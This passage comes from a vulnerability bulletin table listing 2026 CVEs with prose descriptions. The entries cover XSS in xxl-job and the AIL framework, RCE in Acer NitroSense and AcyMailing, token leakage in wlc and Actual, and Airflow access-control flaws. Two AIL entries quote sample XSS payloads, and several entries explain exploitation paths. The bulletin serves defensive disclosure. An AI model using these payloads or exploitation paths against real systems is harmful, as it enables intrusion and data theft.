&lt;td&gt;A vulnerability was identified in volotat Anagnorisis up to 0.4.11. Affected by this issue is the function html of the file PlaylistManager.js of the component Media Filename Handler. Such manipulation of the argument file_path leads to cross site scripting. The attack can be launched remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97233&quot; target=&quot;_blank&quot;&gt;CVE-2026-97233&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;warp-tech--warpgate&lt;/td&gt;
&lt;td&gt;Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. Prior to 0.27.6, the response_mode=form_post SSO return path in warpgate-protocol-http/src/api/sso_provider_list.rs uses serde_json::to_string inside ReturnToSsoPostResponse without neutralizing a script-closing sequence. The vulnerable value can enter the script block through the attacker-controlled next redirect parameter stored by warpgate-protocol-http/src/api/sso_provider_detail.rs or through IdP-derived error messages that make_redirect_url concatenates without URL encoding. The IdP-derived path is reachable when the attacker controls a configured identity provider, or when the attacker controls the email or username claim on an attacker-controlled account and the configured identity provider permits the required unvalidated claim format. A victim must complete the form_post SSO flow for the injected markup to be rendered. The Warpgate Content-Security-Policy blocks injected JavaScript and event handlers, so the demonstrated impact is content spoofing, a false login form, or a meta refresh rather than script execution. This issue is fixed in version 0.27.6.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;2.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91165&quot; target=&quot;_blank&quot;&gt;CVE-2026-91165&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WeblateOrg--wlc&lt;/td&gt;
&lt;td&gt;wlc is a Weblate command-line client using Weblate&#039;s REST API. Prior to 2.0.1, automatically discovered configuration from .weblate, .weblate.ini, or weblate.ini can select the API URL while an unscoped API token is supplied through WLC_KEY or --key without a matching WLC_URL or --url. When wlc runs in an untrusted repository, pull request checkout, or directory with untrusted ancestor configuration, it can send the token to an attacker-controlled project-configured URL. URL-scoped keys in [keys] are not affected. This issue is fixed in version 2.0.1.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;2.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62364&quot; target=&quot;_blank&quot;&gt;CVE-2026-62364&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;xuxueli--xxl-job&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in xuxueli xxl-job up to 3.4.2/3.5.0. This vulnerability affects unknown code of the file xxl-job-admin/src/main/java/com/xxl/job/admin/business/controller/JobInfoController.java of the component Task Management Interface. The manipulation of the argument name/author leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94145&quot; target=&quot;_blank&quot;&gt;CVE-2026-94145&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;xuxueli--xxl-job&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in xuxueli xxl-job up to 3.5.0. The impacted element is an unknown function of the file /jobgroup/insert. This manipulation of the argument Name causes cross site scripting. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94426&quot; target=&quot;_blank&quot;&gt;CVE-2026-94426&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zhistaredu--StarTraining&lt;/td&gt;
&lt;td&gt;A weakness has been identified in zhistaredu StarTraining up to 3.8.1. This vulnerability affects unknown code of the file du-common/src/main/java/com/edu/common/utils/file/MimeTypeUtils.java of the component Upload Endpoint. This manipulation of the argument File causes cross site scripting. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100880&quot; target=&quot;_blank&quot;&gt;CVE-2026-100880&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zhistaredu--StarTraining&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in zhistaredu StarTraining up to 3.8.1. This issue affects some unknown processing of the file application.yml. Such manipulation of the argument xss.enabled leads to cross site scripting. It is possible to launch the attack remotely. Attacks of this nature are highly complex. The exploitability is assessed as difficult. The exploit has been disclosed publicly and may be used. Not independently exploitable: a defense-in-depth absence that amplifies CVE-2026-100880. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;2.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100881&quot; target=&quot;_blank&quot;&gt;CVE-2026-100881&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;a href=&quot;#top&quot;&gt;Back to top&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&quot;snya_v&quot;&gt;
&lt;h2 id=&quot;snya_v_title&quot;&gt;Severity Not Yet Assigned&lt;/h2&gt;
&lt;table class=&quot;table table-style-align-center no-tablesaw&quot; style=&quot;table-layout:fixed;width:100%;&quot; id=&quot;table_severity_not_yet_assigned&quot; border=&quot;1&quot; summary=&quot;Severity Not Yet Assigned&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th class=&quot;vendor-product&quot; style=&quot;width:24%;&quot; scope=&quot;col&quot;&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Primary&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Vendor&lt;/span&gt; -- Product&lt;/th&gt;
&lt;th style=&quot;width:44%;&quot; scope=&quot;col&quot;&gt;Description&lt;/th&gt;
&lt;th style=&quot;width:10%;&quot; scope=&quot;col&quot;&gt;Published&lt;/th&gt;
&lt;th style=&quot;width:8%;&quot; scope=&quot;col&quot;&gt;CVSS Score&lt;/th&gt;
&lt;th style=&quot;width:7%;&quot; scope=&quot;col&quot;&gt;Source Info&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;10Web Booster--10Web Booster&lt;/td&gt;
&lt;td&gt;The 10Web Booster WordPress plugin before 2.34.0 does not restrict access to the routine which issues the shared secret that authenticates its cloud connection, disclosing that secret to unauthenticated visitors and letting them delete it repeatedly, preventing an administrator from completing a legitimate connection.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82195&quot; target=&quot;_blank&quot;&gt;CVE-2026-82195&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1millionbot--AI Chatbot Platform (SaaS) de 1millionbot.&lt;/td&gt;
&lt;td&gt;Cross-Site Scripting (XSS) vulnerability due to inadequate input sanitisation in the client-side rendering engine of the 1millionbot AI Chat Platform. An unauthenticated remote user could cause external hyperlinks to be rendered in the web interface by sending messages containing Markdown syntax and certain unsanitised content blocks. The impact is limited to the user&#039;s own interactive session; no compromise of internal infrastructure, access to third-party data or impact on administrative panels has been identified.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91921&quot; target=&quot;_blank&quot;&gt;CVE-2026-91921&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Acer--NitroSense V5&lt;/td&gt;
&lt;td&gt;An unauthenticated local attacker can connect to the MQTT broker over its localhost WebSocket endpoint in Acer NitroSense software (versions up to and including 5.2.62). This allows the attacker to invoke exposed ddsc RPC functions, including child_process.execSync(), resulting in arbitrary command execution in the application context.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50227&quot; target=&quot;_blank&quot;&gt;CVE-2026-50227&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Acer--NitroSense V5&lt;/td&gt;
&lt;td&gt;An unauthenticated local attacker can connect to the Electron DevTools endpoint exposed by Acer NitroSense software (versions up to and including 5.2.63) on localhost TCP port 9993. Because Chromium remote debugging is enabled in the production application, the attacker can execute JavaScript in the privileged application context and achieve arbitrary code execution.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50228&quot; target=&quot;_blank&quot;&gt;CVE-2026-50228&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;actualbudget--actual&lt;/td&gt;
&lt;td&gt;Actual is a local-first personal finance tool. Prior to 26.7.0, Actual Sync Server&#039;s CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When `ACTUAL_GITHUB_TOKEN` is configured, the proxy automatically attaches the server&#039;s GitHub token to GitHub requests. The GitHub API allowlist check uses a raw `startsWith()` prefix test for `/repos/{owner}/{repo}` without requiring a path boundary after the repository name. If an allowlisted public plugin repository is `https://github.com/acme/plugin`, the proxy also accepts GitHub API URLs. Those URLs are outside the allowlisted repository but still pass because their API path starts with `/repos/acme/plugin`. The proxy then forwards the request with the server&#039;s `ACTUAL_GITHUB_TOKEN`, allowing any authenticated Actual user to read private GitHub resources reachable by that token. Version 26.7.0 fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57449&quot; target=&quot;_blank&quot;&gt;CVE-2026-57449&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;acymailing.com--AcyMailing Enterprise extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - acymailing.com - Remote Code Execution vulnerability in mailbox action feature in AcyMailing Enterprise extension &amp;lt; 11.1.0 - MIME parts of incoming emails were saved to media/com_acym/upload/ with no extension check, so anyone who could email the monitored mailbox could write a PHP file into the web root.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94132&quot; target=&quot;_blank&quot;&gt;CVE-2026-94132&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;acymailing.com--AcyMailing extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - acymailing.com - Unauthenticated arbitrary file deletion in AcyMailing Enterprise extension &amp;lt; 11.1.0 - A subscriber could store a path in a file-type custom field and have AcyMailing delete that file when the field was cleared, including files outside the upload folder such as configuration.php.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94131&quot; target=&quot;_blank&quot;&gt;CVE-2026-94131&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ad Inserter--Ad Inserter&lt;/td&gt;
&lt;td&gt;The Ad Inserter WordPress plugin before 2.8.19 does not correctly restrict access to one of its settings pages, making it reachable by every logged in user under a configuration its own settings allow, and does not filter the content saved there, allowing users with a role as low as subscriber to store code which is then executed as PHP or served unescaped to site visitors.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81655&quot; target=&quot;_blank&quot;&gt;CVE-2026-81655&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;agronholm--anyio&lt;/td&gt;
&lt;td&gt;AnyIO is a high level asynchronous concurrency and networking framework that works on top of either Trio or asyncio. Prior to 4.14.2, connect_tcp() and TLSStream.wrap() can validate internationalized host names after the standard library converts them with IDNA 2003 instead of IDNA 2008. When a connection to a non-ASCII domain is hijacked or redirected, an attacker can obtain a legitimate certificate for the different ASCII hostname produced by IDNA 2003 and present it to the client, causing the malicious endpoint&#039;s certificate to validate. This issue is fixed in version 4.14.2.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63374&quot; target=&quot;_blank&quot;&gt;CVE-2026-63374&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ail project--ail framework&lt;/td&gt;
&lt;td&gt;The AIL Framework (ail-project/ail-framework) contains a stored cross-site scripting (XSS) vulnerability in two Jinja2 templates that render popovers for matched, tracked, or tagged content: var/www/templates/chats_explorer/block_message.html and var/www/templates/objects/item/show_item.html. In both templates, dynamic values associated with this content, including icon color, icon style, icon glyph, subtype, identifier, name, description, and matched value, are interpolated directly into the data-content HTML attribute of Bootstrap popover elements without appropriate output encoding. Because the popovers are configured with data-html=&quot;true&quot;, the content is interpreted as HTML in the victim&#039;s browser. An authenticated attacker who can influence matched, tracked, or tagged content may inject arbitrary HTML or JavaScript into these values. When a victim displays the affected popover, the injected markup may execute in the victim&#039;s session, potentially enabling data exfiltration or actions with the victim&#039;s privileges. The vulnerability is classified as stored XSS because the malicious payload can persist in the affected match, tracking, or tag-related data and be delivered to users who view the affected content.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100172&quot; target=&quot;_blank&quot;&gt;CVE-2026-100172&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ail project--ail framework&lt;/td&gt;
&lt;td&gt;The AIL Framework tag selector component (var/www/static/js/tags.js) is vulnerable to stored cross-site scripting (XSS). A user with the ability to create a custom tag could embed an HTML payload containing JavaScript event handlers (e.g., &amp;lt;img src=x onerror=alert(1)&amp;gt; or &amp;lt;svg onload=...&amp;gt;) in the tag name. When another authenticated user opened a page containing the tag selector, the malicious tag name was inserted into the DOM using jQuery&#039;s html property, causing the embedded script to execute in the victim&#039;s browser context. The vulnerable code paths affected both the suggestion/combo-item rendering (_renderComboItems) and the selected-tag rendering logic. In both cases, the display value derived from the tag&#039;s displayField was passed directly to the html property of a jQuery element constructor, which parses and inserts the string as raw HTML rather than as text. Preconditions: the attacker must have an authenticated account with permission to create custom tags, and the victim must be an authenticated user who views a page that renders the tag selector with the attacker&#039;s stored tag. The attack is stored (persistent) and does not require the victim to perform any action beyond loading the page. Security impact: successful exploitation allows arbitrary JavaScript execution in the victim&#039;s browser within the application&#039;s origin, potentially leading to session hijacking, unauthorized data access, form manipulation, or further client-side attacks.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100174&quot; target=&quot;_blank&quot;&gt;CVE-2026-100174&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ail project--ail framework&lt;/td&gt;
&lt;td&gt;The AIL Framework&#039;s username timeline feature is vulnerable to stored cross-site scripting (XSS). Usernames imported from chats and crawled forums are stored without character restrictions. When an authenticated analyst views the username timeline, the application renders these stored usernames into the DOM using D3&#039;s html() method in the tooltip. Because the username value (d.obj) is interpolated directly into an HTML string without sanitization, a crafted username containing HTML event handlers (e.g., &amp;lt;img src=x onerror=alert(1)&amp;gt;) will execute arbitrary JavaScript in the analyst&#039;s browser when the analyst hovers over the corresponding timeline entry. The attack requires the victim to be an authenticated analyst with access to the timeline view and to interact with the malicious timeline entry (hover). Successful exploitation can lead to session hijacking, data exfiltration, or unauthorized actions performed within the analyst&#039;s authenticated session. The vulnerability resides in the client-side JavaScript file var/www/static/js/d3/timeline_basic.js.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100176&quot; target=&quot;_blank&quot;&gt;CVE-2026-100176&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ail project--ail framework&lt;/td&gt;
&lt;td&gt;The AIL Framework crawler task creation API (api_add_crawler_task) contained an insufficient authorization check when a user supplied a cookiejar UUID to attach to a one-shot or scheduled crawler task. The original code only verified that the cookiejar existed and, if its access level was 0, compared the cookiejar&#039;s owning user ID to the requesting user ID. It did not validate organizational boundaries, did not account for the requesting user&#039;s role. When the cookiejar level was not 0, no access check was performed at all. An authenticated user could therefore reference another organization&#039;s cookiejar by UUID and have the crawler use that organization&#039;s stored cookies (session tokens, authentication credentials) when performing web crawls, effectively leaking or exfiltrating the victim organization&#039;s session data. The vulnerability requires an authenticated user with the ability to create crawler tasks. The attacker must know or guess a valid cookiejar UUID belonging to another organization. The impact is unauthorized access to another organization&#039;s stored cookies and session data through the crawler infrastructure.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100177&quot; target=&quot;_blank&quot;&gt;CVE-2026-100177&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ail project--ail framework&lt;/td&gt;
&lt;td&gt;The Onion module in AIL Framework contained a performance shortcut in its URL extraction logic that accepted URLs as valid .onion targets based solely on a length check (exactly 69 characters) and a suffix check (ending in &quot;.onion&quot;), without performing proper hostname parsing or onion-domain validation. An unauthenticated attacker who could publish or control web content crawled by the framework could embed a crafted URL containing an IP address or non-onion hostname with a path ending in &quot;.onion&quot; that satisfied the length and suffix conditions. Such a URL would be extracted, its domain naively sliced from the string, and queued as a legitimate onion crawler task. This allowed unauthenticated content publishers to inject arbitrary non-onion targets into the crawler&#039;s task queue, influencing crawler behavior and potentially directing it toward unintended network resources. The vulnerability required no authentication, no user interaction, and only the ability to place crafted content in a location the framework would crawl. The security impact is a loss of integrity in the crawler&#039;s target selection: the framework processes and acts upon URLs that do not correspond to legitimate .onion services.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100187&quot; target=&quot;_blank&quot;&gt;CVE-2026-100187&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ail project--ail framework&lt;/td&gt;
&lt;td&gt;The AIL Framework crawler splash domain page (showDomain.html) is vulnerable to stored cross-site script injection (XSS). User-supplied data originating from imported crawler captures-specifically item IDs, URLs, and screenshot file paths-was interpolated directly into inline JavaScript contexts within the HTML template. This included an onclick attribute that embedded raw screenshot and URL values into a JavaScript function call, and an inline script block that assigned a screenshot value to a JavaScript variable without escaping. An attacker with a user-role API client could craft a malicious crawler capture import containing JavaScript payloads in these fields. When any user (including privileged users) subsequently viewed the affected domain page, the injected script would execute in the victim&#039;s browser context, potentially allowing session hijacking, data exfiltration, or unauthorized actions on behalf of the victim. The vulnerability is stored in the application&#039;s data layer and triggered upon page rendering, requiring no further interaction beyond loading the domain view.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100190&quot; target=&quot;_blank&quot;&gt;CVE-2026-100190&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;akia--akia&lt;/td&gt;
&lt;td&gt;Insecure Direct Object Reference / missing object-level authorization in the Akia keyless entry cloud service. The unlock action is relying on a client-supplied room/door identifier that is not properly authorized server-side against the authenticated guest&#039;s booking. An authenticated guest could unlock rooms other than their own, resulting in unauthorized physical access to guest rooms at an affected property. As of 19th September 2026 the service is no more vulnerable to this attack (feedback received by the reporter).&amp;nbsp; The attack is remote but the effect is local to an affected property.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97898&quot; target=&quot;_blank&quot;&gt;CVE-2026-97898&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache HTTP Server Project--Apache Lounge Windows&lt;/td&gt;
&lt;td&gt;The Apache Lounge Windows distribution of Apache HTTP Server build contains a hardcoded configuration path vulnerability within openssl.cnf path that can allow local code execution.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89281&quot; target=&quot;_blank&quot;&gt;CVE-2026-89281&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache HTTP Server Project--Apache Lounge Windows&lt;/td&gt;
&lt;td&gt;The Apache Lounge Windows distribution of Apache HTTP Server build contains an insecure installation directory permissions vulnerability through its default install directory on C:\, which inherits write access for Authenticated Users.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89282&quot; target=&quot;_blank&quot;&gt;CVE-2026-89282&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Airflow&lt;/td&gt;
&lt;td&gt;Apache Airflow&#039;s `/assets/events` API returned asset events for every Dag in the deployment, with no filter restricting them to the Dags the caller is authorized to read. Any authenticated user holding asset-read access could therefore enumerate asset events - including the source Dag ID, task ID, run ID and event timestamps - for Dags they have no permission to see. Because the filter was also absent from the count query, `total_entries` and pagination disclosed the existence of hidden Dags even without inspecting individual rows. Deployments are affected whenever per-Dag access control is used to separate teams or tenants; no special configuration is required. Upgrade to apache-airflow 3.3.2 or later.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75158&quot; target=&quot;_blank&quot;&gt;CVE-2026-75158&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Airflow&lt;/td&gt;
&lt;td&gt;When a request to the Airflow core API carries both a session cookie and an explicit `Authorization: Bearer` token, Airflow resolves the caller from the cookie and ignores the bearer token, inverting the intended precedence of bearer over cookie. The request then executes -- and is recorded in the audit log -- as the cookie&#039;s principal rather than the identity the client explicitly presented. Only Apache Airflow 3.3.0 and 3.3.1 are affected. Earlier releases do not contain the code path that caches the cookie-derived user, and are not vulnerable. Exploiting this requires an attacker to first place a valid session cookie of their own into the victim&#039;s browser or client: for example by cookie tossing from a sibling subdomain, through cross-site scripting in a separate application sharing a parent domain, or via a shared workstation. Deployments that host the Airflow UI on a domain shared with other applications are therefore the most exposed; a deployment on a dedicated domain with no co-hosted applications is not reachable this way. The consequence is principal confusion and misattributed audit records rather than a direct privilege escalation. Users of 3.3.0 or 3.3.1 should upgrade to Apache Airflow 3.3.2 or later, which resolves the caller from the explicitly supplied credential whenever one is present.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82355&quot; target=&quot;_blank&quot;&gt;CVE-2026-82355&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Airflow&lt;/td&gt;
&lt;td&gt;Apache Airflow: the Core API logout endpoint revokes only a session token presented as the _token cookie. When a client logs out presenting its credential as an Authorization bearer header instead, the endpoint returns its normal logout response but revokes nothing, so the token remains valid until it expires. An attacker who already holds a copy of that token keeps the victim&#039;s access after the victim has logged out and believes the session ended; the default token lifetime is 24 hours and is configurable. Affects API clients that authenticate with a bearer token rather than the browser session cookie. The attacker must already possess a copy of a valid token; obtaining one is outside the scope of this issue, and no privileges beyond the victim&#039;s own are gained. Users of apache-airflow are recommended to upgrade to apache-airflow version 3.3.2 or later, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86473&quot; target=&quot;_blank&quot;&gt;CVE-2026-86473&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Airflow HashiCorp provider&lt;/td&gt;
&lt;td&gt;Apache Airflow HashiCorp provider: the HashiCorp Vault secrets backend&#039;s team-scope guard can be bypassed with a user-controlled key. In a multi-team deployment, a Dag author scoped to one team can supply a Variable key containing a path separator that causes the backend to resolve a secret belonging to a different team, because after the team-scoped lookup misses the backend falls back to a team-agnostic path concatenated from the unvalidated key. The Execution API Variables route accepts a path-shaped key, so this is reachable from ordinary Dag code. Affects multi-team deployments using the HashiCorp Vault secrets backend. Single-team deployments are not affected, as there is no cross-team boundary to cross. This is the same class as CVE-2026-86465, CVE-2026-68870, CVE-2026-68871 and CVE-2026-68872 in the Akeyless, Azure Key Vault, Yandex Lockbox and Amazon secrets backends. Users of apache-airflow-providers-hashicorp are recommended to upgrade to version 4.8.0 or later, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97636&quot; target=&quot;_blank&quot;&gt;CVE-2026-97636&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache BuildStream&lt;/td&gt;
&lt;td&gt;Improper link resolution before file access (&#039;link following&#039;) vulnerability in the `tar` source plugin of Apache BuildStream running on Python &amp;lt; 3.12 allows malicious source tarballs to write files on the host, with the privileges of the user running BuildStream, via symlinks as part of source fetching. The impact of this issue is mitigated by: * BuildStream projects should only use trusted sources in their elements as otherwise the build output can also not be trusted * Tracking a source tarball pins its SHA256 hash, which prevents MITM attacks of users that are fetching an already tracked project * When running on Python &amp;gt;= 3.12, BuildStream &amp;gt;= 2.3.0 already makes use of the Python `tarfile` filter functionality, which blocks the symlink escape Users are recommended to upgrade to version 2.8.1, which fixes this issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82331&quot; target=&quot;_blank&quot;&gt;CVE-2026-82331&lt;/a&gt;&lt;/td&gt;
